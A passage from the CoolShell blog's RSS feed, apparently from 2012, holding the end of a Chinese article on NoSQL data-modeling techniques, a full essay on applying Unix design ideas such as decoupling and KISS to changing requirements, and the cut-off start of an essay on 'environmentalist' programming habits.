id=\"attachment_364\">\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2012/05/nested-documents-2.png\"><img decoding=\"async\" title=\"nested-documents-2\" src=\"https://coolshell.cn/wp-content/uploads/2012/05/nested-documents-2.png?w=594\" alt=\"\" /><br />\n</a>Nested Document Modeling using Proximity Queries</p>\n</div>\n<p>附录 [4.3] 中讲述了这个技术被用在Solr中的一个成功案例。</p>\n<p><strong>适用性</strong>: Search Engines 全文搜索</p>\n<h5>(17) 图结构批处理 Batch Graph Processing</h5>\n<p>Graph databases 图数据库，如 neo4j 是一个出众的图数据库，尤其是使用一个结点来探索邻居结点，或是探索两个或少量结点前的关系。但是处理大量的图数据是很没有效率的，因为图数据库的性能和扩展性并不是其目的。分布式的图数据处理可以被 MapReduce 和 Message Passing pattern 来处理。如： <a title=\"MapReduce Patterns, Algorithms, and Use Cases\" href=\"http://highlyscalable.wordpress.com/2012/02/01/mapreduce-patterns/\">在我前一篇的文章中的那个示例</a>。这个方法可以让 Key-Value stores, Document databases, 和 BigTable-style databases 适合于处理大图。</p>\n<p><strong>Applicability</strong>: Key-Value Stores, Document Databases, BigTable-style Databases</p>\n<h4>参考</h4>\n<p>Finally, I provide a list of useful links related to NoSQL data modeling:</p>\n<ol>\n<li>Key-Value Stores:\n<ol>\n<li><a href=\"http://www.devshed.com/c/a/MySQL/Database-Design-Using-KeyValue-Tables/\">http://www.devshed.com/c/a/MySQL/Database-Design-Using-KeyValue-Tables/</a></li>\n<li><a href=\"http://antirez.com/post/Sorting-in-key-value-data-model.html\">http://antirez.com/post/Sorting-in-key-value-data-model.htm</a>l</li>\n<li><a href=\"http://stackoverflow.com/questions/3554169/difference-between-document-based-and-key-value-based-databases\">http://stackoverflow.com/questions/3554169/difference-between-document-based-and-key-value-based-databases</a></li>\n<li><a href=\"http://dbmsmusings.blogspot.com/2010/03/distinguishing-two-major-types-of_29.html\">http://dbmsmusings.blogspot.com/2010/03/distinguishing-two-major-types-of_29.html</a></li>\n</ol>\n</li>\n<li>BigTable-style Databases:\n<ol>\n<li><a href=\"http://www.slideshare.net/ebenhewitt/cassandra-datamodel-4985524\">http://www.slideshare.net/ebenhewitt/cassandra-datamodel-4985524</a></li>\n<li><a href=\"http://www.slideshare.net/mattdennis/cassandra-data-modeling\">http://www.slideshare.net/mattdennis/cassandra-data-modeling</a></li>\n<li><a href=\"http://nosql.mypopescu.com/post/17419074362/cassandra-data-modeling-examples-with-matthew-f-dennis\">http://nosql.mypopescu.com/post/17419074362/cassandra-data-modeling-examples-with-matthew-f-dennis</a></li>\n<li><a href=\"http://s-expressions.com/2009/03/08/hbase-on-designing-schemas-for-column-oriented-data-stores/\">http://s-expressions.com/2009/03/08/hbase-on-designing-schemas-for-column-oriented-data-stores/</a></li>\n<li><a href=\"http://jimbojw.com/wiki/index.php?title=Understanding_Hbase_and_BigTable\">http://jimbojw.com/wiki/index.php?title=Understanding_Hbase_and_BigTable</a></li>\n</ol>\n</li>\n<li>Document Databases:\n<ol>\n<li><a href=\"http://www.slideshare.net/mongodb/mongodb-schema-design-richard-kreuters-mongo-berlin-preso\">http://www.slideshare.net/mongodb/mongodb-schema-design-richard-kreuters-mongo-berlin-preso</a></li>\n<li><a href=\"http://www.michaelhamrah.com/blog/2011/08/data-modeling-at-scale-mongodb-mongoid-callbacks-and-denormalizing-data-for-efficiency/\">http://www.michaelhamrah.com/blog/2011/08/data-modeling-at-scale-mongodb-mongoid-callbacks-and-denormalizing-data-for-efficiency/</a></li>\n<li><a href=\"http://seancribbs.com/tech/2009/09/28/modeling-a-tree-in-a-document-database/\">http://seancribbs.com/tech/2009/09/28/modeling-a-tree-in-a-document-database/</a></li>\n<li><a href=\"http://www.mongodb.org/display/DOCS/Schema+Design\">http://www.mongodb.org/display/DOCS/Schema+Design</a></li>\n<li><a href=\"http://www.mongodb.org/display/DOCS/Trees+in+MongoDB\">http://www.mongodb.org/display/DOCS/Trees+in+MongoDB</a></li>\n<li><a href=\"http://blog.fiesta.cc/post/11319522700/walkthrough-mongodb-data-modeling\">http://blog.fiesta.cc/post/11319522700/walkthrough-mongodb-data-modeling</a></li>\n</ol>\n</li>\n<li>Full Text Search Engines:\n<ol>\n<li><a href=\"http://www.searchworkings.org/blog/-/blogs/query-time-joining-in-lucene\">http://www.searchworkings.org/blog/-/blogs/query-time-joining-in-lucene</a></li>\n<li><a href=\"http://www.lucidimagination.com/devzone/technical-articles/solr-and-rdbms-basics-designing-your-application-best-both\">http://www.lucidimagination.com/devzone/technical-articles/solr-and-rdbms-basics-designing-your-application-best-both</a></li>\n<li><a href=\"http://blog.griddynamics.com/2011/07/solr-experience-search-parent-child.html\">http://blog.griddynamics.com/2011/07/solr-experience-search-parent-child.html</a></li>\n<li><a href=\"http://www.lucidimagination.com/blog/2009/07/18/the-spanquery/\">http://www.lucidimagination.com/blog/2009/07/18/the-spanquery/</a></li>\n<li><a href=\"http://blog.mgm-tp.com/2011/03/non-standard-ways-of-using-lucene/\">http://blog.mgm-tp.com/2011/03/non-standard-ways-of-using-lucene/</a></li>\n<li><a href=\"http://www.slideshare.net/MarkHarwood/proposal-for-nested-document-support-in-lucene\">http://www.slideshare.net/MarkHarwood/proposal-for-nested-document-support-in-lucene</a></li>\n<li><a href=\"http://mysolr.com/tips/denormalized-data-structure/\">http://mysolr.com/tips/denormalized-data-structure/</a></li>\n<li><a href=\"http://sujitpal.blogspot.com/2010/10/denormalizing-maps-with-lucene-payloads.html\">http://sujitpal.blogspot.com/2010/10/denormalizing-maps-with-lucene-payloads.html</a></li>\n<li><a href=\"http://java.dzone.com/articles/hibernate-search-mapping-entit\">http://java.dzone.com/articles/hibernate-search-mapping-entit</a></li>\n</ol>\n</li>\n<li>Graph Databases:\n<ol>\n<li><a href=\"http://docs.neo4j.org/chunked/stable/tutorial-comparing-models.html\">http://docs.neo4j.org/chunked/stable/tutorial-comparing-models.html</a></li>\n<li><a href=\"http://blog.neo4j.org/2010/03/modeling-categories-in-graph-database.html\">http://blog.neo4j.org/2010/03/modeling-categories-in-graph-database.html</a></li>\n<li><a href=\"http://skillsmatter.com/podcast/nosql/graph-modelling\">http://skillsmatter.com/podcast/nosql/graph-modelling</a></li>\n<li><a href=\"http://www.umiacs.umd.edu/%7Ejimmylin/publications/Lin_Schatz_MLG2010.pdf\">http://www.umiacs.umd.edu/~jimmylin/publications/Lin_Schatz_MLG2010.pdf</a></li>\n</ol>\n</li>\n<li>Demensionality Reduction:\n<ol>\n<li><a href=\"http://www.slideshare.net/mmalone/scaling-gis-data-in-nonrelational-data-stores\">http://www.slideshare.net/mmalone/scaling-gis-data-in-nonrelational-data-stores</a></li>\n<li><a href=\"http://blog.notdot.net/2009/11/Damn-Cool-Algorithms-Spatial-indexing-with-Quadtrees-and-Hilbert-Curves\">http://blog.notdot.net/2009/11/Damn-Cool-Algorithms-Spatial-indexing-with-Quadtrees-and-Hilbert-Curves</a></li>\n<li><a href=\"http://www.trisis.co.uk/blog/?p=1287\">http://www.trisis.co.uk/blog/?p=1287</a></li>\n</ol>\n</li>\n</ol>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/1889.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/12/sql.where_.clause-150x150.jpg\" alt=\"SQL的Where语句\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1889.html\" class=\"wp_rp_title\">SQL的Where语句</a></li><li ><a href=\"https://coolshell.cn/articles/8711.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/12/200906020837401710-150x150.jpg\" alt=\"程序员疫苗：代码注入\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8711.html\" class=\"wp_rp_title\">程序员疫苗：代码注入</a></li><li ><a href=\"https://coolshell.cn/articles/7490.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/06/f1-150x150.jpg\" alt=\"性能调优攻略\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7490.html\" class=\"wp_rp_title\">性能调优攻略</a></li><li ><a href=\"https://coolshell.cn/articles/6639.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/02/programming-language-150x150.jpg\" alt=\"千万别惹程序员 \" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6639.html\" class=\"wp_rp_title\">千万别惹程序员 </a></li><li ><a href=\"https://coolshell.cn/articles/5826.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg\" alt=\"千万别用MongoDB？真的吗？！\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5826.html\" class=\"wp_rp_title\">千万别用MongoDB？真的吗？！</a></li><li ><a href=\"https://coolshell.cn/articles/4795.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"开源中最好的Web开发的资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4795.html\" class=\"wp_rp_title\">开源中最好的Web开发的资源</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/7270.html\">NoSQL 数据建模技术</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/7270.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>52</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>用Unix的设计思想来应对多变的需求</title>\n\t\t<link>https://coolshell.cn/articles/7236.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/7236.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 03 May 2012 00:14:20 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[操作系统]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[Design]]></category>\n\t\t<category><![CDATA[design pattern]]></category>\n\t\t<category><![CDATA[Unix]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=7236</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>之前，@风枫峰 在“这是谁的错？”中说过开发团队对需求来者不拒，而@weidagang 也在“需求变更和IoC”中说过用IoC来最大程度地解决需求变更。今天我也...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/7236.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/7236.html\">用Unix的设计思想来应对多变的需求</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>之前，@<a title=\"风枫峰\" href=\"http://weibo.com/hfcc?source=webim\" target=\"_blank\">风枫峰</a> 在“<a title=\"这到底是谁之错？\" href=\"https://coolshell.cn/articles/7126.html\" target=\"_blank\">这是谁的错？</a>”中说过开发团队对需求来者不拒，而@<a title=\"weidagang\" href=\"http://weibo.com/weidagang\" target=\"_blank\">weidagang</a> 也在“<a title=\"需求变化与IoC\" href=\"https://coolshell.cn/articles/6950.html\" target=\"_blank\">需求变更和IoC</a>”中说过用IoC来最大程度地解决需求变更。今天我也想从Unix设计思想的角度来说说什么是好的软件设计，什么样的设计可以把需求变更对开发的影响降低。（<strong>注意</strong>：这并不能解决用户或是PM的无理需求，面对无理需求，需要仔细分析需求，而用技术的手段无法搞定这个事，但是可以减轻需求变更带来的痛苦） 我曾经在<a href=\"https://coolshell.cn/articles/2324.html\" target=\"_blank\">《Unix传奇》的下篇</a>中写过一些Unix的设计哲学和思想（这里重点推荐大家看一下《<em><a href=\"http://product.china-pub.com/197413\" target=\"_blank\">The Art of Unix Programming</a></em>》，我推荐过多次了），以前也发过一篇《<a title=\"一些软件设计的原则\" href=\"https://coolshell.cn/articles/4535.html\" target=\"_blank\">一些软件设计的原则</a>》，不过，这些东西都太多了，记不住。其实，这么多年来，我的经验告诉我，<strong>无论是Unix设计，还是面向对象设计，还是别的什么如SOA，ECB，消息，事件，MVC，网络七层模型，数据库设计，等等，他们都在干三件事——<span style=\"color: #cc0000;\">解耦，解耦，还是解耦</span>！</strong>所谓解耦，就是让软件的模块和模块间尽量少地依赖起来。</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"Unix\" src=\"https://coolshell.cn/wp-content/uploads/2012/05/Bannière-Unix-linux.jpg\" alt=\"\" width=\"448\" height=\"173\" /></p>\n<h4>现实当中的例子</h4>\n<p>让我先举几个现实生活中的例子：</p>\n<p style=\"padding-left: 30px;\">1、现实社会中，制造灯具的工厂完全不关心制造灯泡的工厂，制造灯泡的工厂完全不关心制造灯具的工厂，但是，灯泡和灯饰可以很完美地组合成用户所喜欢的样子（这和@<a title=\"weidagang\" href=\"http://weibo.com/weidagang\" target=\"_blank\">weidagang</a> 在“<a title=\"需求变化与IoC\" href=\"https://coolshell.cn/articles/6950.html\" target=\"_blank\">需求变更和IoC</a>”说到的那个PC的例子相仿）。他们是怎么做到的？</p>\n<p style=\"padding-left: 30px;\">2、互联网上，做网站的人完全不用关心用户在用什么样的操作系统，什么样的客户端浏览器（当然事实上，浏览器的不标准让网站那边很头痛，这里只是举个例），反过来，上网的人也不关心做网站的人在用什么的技术开发网站。但是大家在完全不关心对方的情况下，可以很正常地协同工作在一起。为什么？</p>\n<p><span id=\"more-7236\"></span> 这样的例子太多了。为什么可以做成这样呢？因为大家依赖的是一个接口，灯具和灯泡并不互相依赖，他们依赖的是一个接口，做网站的人和浏览网站的人依赖的还是接口——HTTP协议。这就是面向对象的核心思想——依赖于接口而不是实现，这就是解耦。<strong>当你看过这两个例子以后，我希望你以后设计的软件至少不能比我们现实社会中的这些方法要差</strong>。不然，你就是在让社会倒退了，呵呵。 你会说，这和Unix，和应对需求变化有什么关系？好让我们再来看一下Unix的设计。</p>\n<h4>Unix设计的例子</h4>\n<p>下面是几个Unix下的例子：</p>\n<p style=\"padding-left: 30px;\">1、Unix下，所有的硬件都可以通过文件的方式存取。其统统在/dev下。于是，软件和硬件的耦合被解开了，操作系统只需要把硬件统统变成文件，而程序只需要使用三个东西，一个是fd，一个是read()，一个是write()，就可以来操作任意的硬件了，这就是抽象，简单到不行。</p>\n<p style=\"padding-left: 30px;\">2、Unix下，所有的命令都可以用管道串起来（管道绝对是个伟大的发明），这样，所有的命令间的交互全部解耦到只依赖于STD_IN, STD_OUT设备上。最酷的是，用户可以使用管道任意地拼装那些命令，以完成各式各样的功能。管道这个设计思想可以映射为今天的Web Service，你可以任意地拼装各种Web Service。</p>\n<p>看到这里，你会发现，这还是解耦，本质上来说，也是一种依赖倒置——OOD的精髓。但是，Unix还不仅仅是这些。我们再来看几个例子：</p>\n<p style=\"padding-left: 30px;\">1、Unix下，软件都是绿色地安装。在iOS上更明显——各个程序间基本上互不干扰，这个程序产生的垃圾文件不会影响到另一个程序。你删掉一个程序不会让另一个程序不举，各是各的空间。你可以删除这些程序，只要把内核心留着，系统照样可以启动。</p>\n<p style=\"padding-left: 30px;\">2、Unix下，你可以通过设置一些环境变量，让多种环境同时存在，比如：某个LAMP用的是Apache 2.0, Mysql 4.0, PHP 4.0，某个LAMP用的是Apache 2.2, Mysql 5.0，PHP5.3，你不但可以方便地在系统中切换这两个环境，你甚至还可以同时启动他们。</p>\n<p style=\"padding-left: 30px;\">3、Unix下，你可以随意地替换你想要的程序。比如，你不喜欢bash，你可以替换成ksh/csh等，你不喜欢awk ，你可以替换成 gawk ，所有的东西都像零件一样，你不喜欢什么，你就可以替换什么。</p>\n<p>这三个例子告诉了我们——<strong>当你把你的软件设计地耦合度非常地低时，你可以随意地组合，随意地安排你的系统</strong>。相当的灵活，灵活到Windows到今天都学不会。</p>\n<h4>应对需求变化</h4>\n<p>看到这里，你可能明白我想说的是什么了，你可能开始觉得怎么样的系统设计会更有效了。如果你还记得《<a title=\"SteveY对Amazon和Google平台的长篇大论\" href=\"https://coolshell.cn/articles/5701.html\" target=\"_blank\">Steve Y 对平台的长篇大论</a>》，你就会知道我想说什么了。是的，我想说的就是，<strong>当你真正了解了Unix的设计思想后，你会觉得今天的很多东西都是对Unix设计思想的一种传承或是变种</strong>。这种东西就是：</p>\n<p style=\"padding-left: 30px;\">1）<strong>解耦，解耦，解耦</strong>。尽量地让你的模块不要在实现上耦合，而是耦合某个规范，某个标准。</p>\n<p style=\"padding-left: 30px;\">2）<strong>KISS，KISS，KISS</strong>。要做到高度解耦，你的模块就一定要很简单，当然不是说简单到只有几行代码，而是简单到只干一件事，并把这件事干到极致。然后通过某个标准拼装起来。</p>\n<p style=\"padding-left: 30px;\">3）<strong>拼装，拼装，拼装。</strong>我想不起来是谁说的了，这句话是这样的，当我想用一个模块的时候，我直接调用就好了，没有必要像C或Java一样，还要编译。是的，拼装需要一个框架，需要一种标准协议，然后让所有的系统都耦合在这种规范上，各自独立运行，就像一个机器上的各个部件一样，当我觉得这个部件不爽，换了就是了。（例如，当我们在尝试不同的算法的时候）</p>\n<p>想想建材和家俱市场，无论用户过来想装修什么，我都可以满足用户的不同需求，只要你是和家装相关，我基本上都能满足你，不是吗？无论你怎么变，只要不变态，我基本上都可以满足你。这就是解耦，拼装带来的好处。 你可能会说我说得太简单了，另一方面，你可能觉得有一些系统这样做没必要，我承认，不过，你可以有选择的或多或少地试试。（其实，我相信你已经在不自觉得或多或少地使用这种方式开发软件了） （全文完）</p>\n<div></div>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/8961.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/01/kiss-150x150.png\" alt=\"从面向对象的设计模式看软件设计\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8961.html\" class=\"wp_rp_title\">从面向对象的设计模式看软件设计</a></li><li ><a href=\"https://coolshell.cn/articles/17416.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/07/cache-150x150.png\" alt=\"缓存更新的套路\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17416.html\" class=\"wp_rp_title\">缓存更新的套路</a></li><li ><a href=\"https://coolshell.cn/articles/9949.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/07/inverted-bookshelf_thumb-150x150.jpg\" alt=\"IoC/DIP其实是一种管理思想\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9949.html\" class=\"wp_rp_title\">IoC/DIP其实是一种管理思想</a></li><li ><a href=\"https://coolshell.cn/articles/6950.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/21.jpg\" alt=\"需求变化与IoC\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6950.html\" class=\"wp_rp_title\">需求变化与IoC</a></li><li ><a href=\"https://coolshell.cn/articles/4535.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" alt=\"一些软件设计的原则\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4535.html\" class=\"wp_rp_title\">一些软件设计的原则</a></li><li ><a href=\"https://coolshell.cn/articles/21672.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/12/bachelor-mechanical-eng-icon@72x-150x150.png\" alt=\"我做系统架构的一些原则\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21672.html\" class=\"wp_rp_title\">我做系统架构的一些原则</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/7236.html\">用Unix的设计思想来应对多变的需求</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/7236.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>90</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>做个环保主义的程序员</title>\n\t\t<link>https://coolshell.cn/articles/7186.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/7186.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 27 Apr 2012 00:26:44 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[Green]]></category>\n\t\t<category><![CDATA[IE]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[QQ]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=7186</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>十多年前刚走入社会工作的时候，那时的中国软件开发根本没有什么版本管理，也没有什么编程规范，软件开发相比起今天来说非常地混乱，那时仅凭自己的一些学习总结了一些C语...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/7186.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/7186.html\">做个环保主义的程序员</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><strong></strong>十多年前刚走入社会工作的时候，那时的中国软件开发根本没有什么版本管理，也没有什么编程规范，软件开发相比起今天来说非常地混乱，那时仅凭自己的一些学习总结了一些C语言编程中的好的小笔记，后来，这些笔记写成了一篇叫《<a href=\"http://blog.csdn.net/haoel/article/details/2872\" target=\"_blank\">编程修养</a>》的文章。今天，又有些感触，想把这个话题扩大一下，从“个人修养”扩大到“环境保护”，所谓，穷则独善其身，富则达济天下，今天的技术人员比十多年前在技术和环境上都富有了许多，所以，也应该或多或少地担负起“达济天下”的责任了。</p>\n<p>环境保护说白了就是保护一个良好的环境，为好的环境添砖加瓦，与破坏环境的人和事做斗争。其实，从技术人员来说，我们可以做一些力所能及的事。因为我们身边的技术环境还有很大的改善的空间，而一些来之不易的东西还需要我们去小心维护。另外，对于我们自己来说，少吃一些垃圾食品，健康生活，对自己也有益。</p>\n<h4>环保主义软件开发</h4>\n<p><strong><img decoding=\"async\" loading=\"lazy\" class=\"alignright\" title=\"Green Computing\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2012/04/Green-Computing.jpg\" width=\"285\" height=\"233\" /></strong>先说说软件开发中的环保。比如：</p>\n<ul>\n<li><strong>环保需求</strong>。当我们分析需求的时候，如果我们能做到不要像“<a title=\"这到底是谁之错？\" href=\"https://coolshell.cn/articles/7126.html\" target=\"_blank\">这是到底是谁的错</a>”一文中那样的来者不拒，如果我们在面对需求能多问这样几个问题：为什么 要有这样的需求？这个功能主要能解决什么 样的问题？为什么不是另外那一种？可不可以简化一下？其实，我们并不需要创新，只需要真正地问好这几个问题，我们就可以少看着一些弯路，少一些苦逼的加班，少一些内耗，少一些埋怨，也就可以为这个社会节省下一些资源，从而环保。</li>\n</ul>\n<div></div>\n<ul>\n<li><strong>环保开发</strong>。当我们做设计写代码的时候，如果我们多花一些时间去思考一下，我们就可以少一些代码（参看“<a title=\"多些时间能少写些代码\" href=\"https://coolshell.cn/articles/5686.html\" target=\"_blank\">多一些时间少一些代码</a>”）。如果我们在一开始多思考一下，不要急着马上去用迭代的方式认识世界，多思考一下怎么把复杂的东西解藕，把复杂的东西简化，怎么做出一个优雅的设计，怎么让我们的程序少一些tricky的东西，怎么让我们的程序变得更简洁，更清楚，更直，在一开始思考一下未来需求可能的变化，未来软件需要怎么测试，未来的系统需要怎么的运维，那么，我们可以少一些返工，少一些重构，少欠一些债，少一些低级错误，少承担一些系统上线后的压力，那么，我们同样可以为这个社会节约一些资源。说得再直白一点，你用更少的代码产生出更高的效益，少耗一些CPU，就能省一些电，间接地保护了环境。（参看<a title=\"Why C++ ? 王者归来\" href=\"https://coolshell.cn/articles/6548.html\" target=\"_blank\"> Why C++？</a>）</li>\n</ul>\n<div><span id=\"more-7186\"></span></div>\n<ul>\n<li><strong>环保文化</strong>。当我们在做软件开发的时候，如果你能影响并帮助你身边的同事，让他们写出更有修养更有效率质量更高的代码来，并发动团队树立工程师的文化，用团队去影响你的老板，你的公司，让他们能再多一点地重视技术，重视技术人员，那么你必然也会成为一个受益者。</li>\n</ul>\n<div></div>\n<ul>\n<li><strong>环保管理</strong>。当你做为一个管理者，做为一个方法推动者，如果你能更多地注重软件开发中真正创造生产力的程序员，为他们分忧，为他们铺路，为他们创造条件，那么，他们就会更多的回馈于你，就会少了一些不信任，就会少了一些被动，就会多一些主动，就会多一分责任，不但可以激发团队热情，同时可以有更大的生产力。同样是一种环保。</li>\n</ul>\n<p>当然，这样的东西还有很多，你也可能会觉得太过理想主义了，我们不可能马上改变之，但是我们可以试一试。</p>\n<h4>技术环保主义</h4>\n<p>其实，我们身边有很多可以做的技术环保工作。比如说，在Linux下少用root用户，SQL的时候，delete前先select，这样，你就不会做出一些让你后悔的事（参看<a title=\"程序员那些悲催的事儿\" href=\"https://coolshell.cn/articles/3980.html\" target=\"_blank\">程序员那些悲催的事</a>），不会让你重头来过，从而至少不会浪费电能。写代码的时候要很小心管理好内存，以及各种资源，和线程并发，组织好的你的代码中的业务逻辑，做好单元测试，自动化回归测试，等，这样你就可以少一点遇到BUG，在遇到BUG时少一些时间去做调查。操作电脑的时候少下一些破解软件，少访问一些乱七八遭的网站，这样，你就会少中一些病毒，少一些损失，少一些重做系统，一样可以节省电能，最重要的是可以节省你的很多时间，让你可以去做一些更有价值 的事情。</p>\n<p>当然，除此之外，我们更应该做为一个大气的，高瞻的环保主义者，比如下面的事情：</p>\n<ul>\n<li><strong>拒绝IE6</strong>。如果你坚决不用IE6，并影响你身边的人，让他们升级IE6，尝试Chrome 或 Firefox，多告诉一下自己身边的朋友，怎么设计口令，怎么在互联网上保护自己的隐私和安全，怎么防木马，这样就能少一些问题，少装两次系统，就能省一些电，也就能多一些时间去做一些更有意义的事。也是在为整个世界整个人类做贡献。（<strong>看看某些软件产商，占据着用户桌面的江山，还整天弹窗弹窗的，说这不安全，那不安全的。你还是做安全的，你居然能容忍IE6装在用户的机器上，你还做个屁的安全！</strong>）2011年3月份，<a title=\"中国仍是IE6的重灾区\" href=\"https://coolshell.cn/articles/3921.html\" target=\"_blank\">我国的IE6用户的百分比是34%</a>， 那时中国网民4.5亿，平均每三个人中有一个，2012年3月份，中国的比例还有24%左右，不过<a href=\"http://it.sohu.com/20120116/n332237326.shtml\" target=\"_blank\">中国的网民数达到了5.13亿</a>，也就是说，平均5个人里有一个，但是中国依然是全世界的IE6占有量最大的，参看下图（来自：<a href=\"http://www.ie6countdown.com/\">http://www.ie6countdown.com</a>）面对下面的图片，你作何感想呢？</li>\n</ul>\n<p style=\"text-align: center;\"><em>“<strong><span style=\"color: #cc0000;\">Friend Don&#8217;t Let Friend Use IE6</span></strong>”</em></p>\n<div><a href=\"http://www.ie6countdown.com\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-7214\" title=\"The Internet Explorer 6 Countdown\" 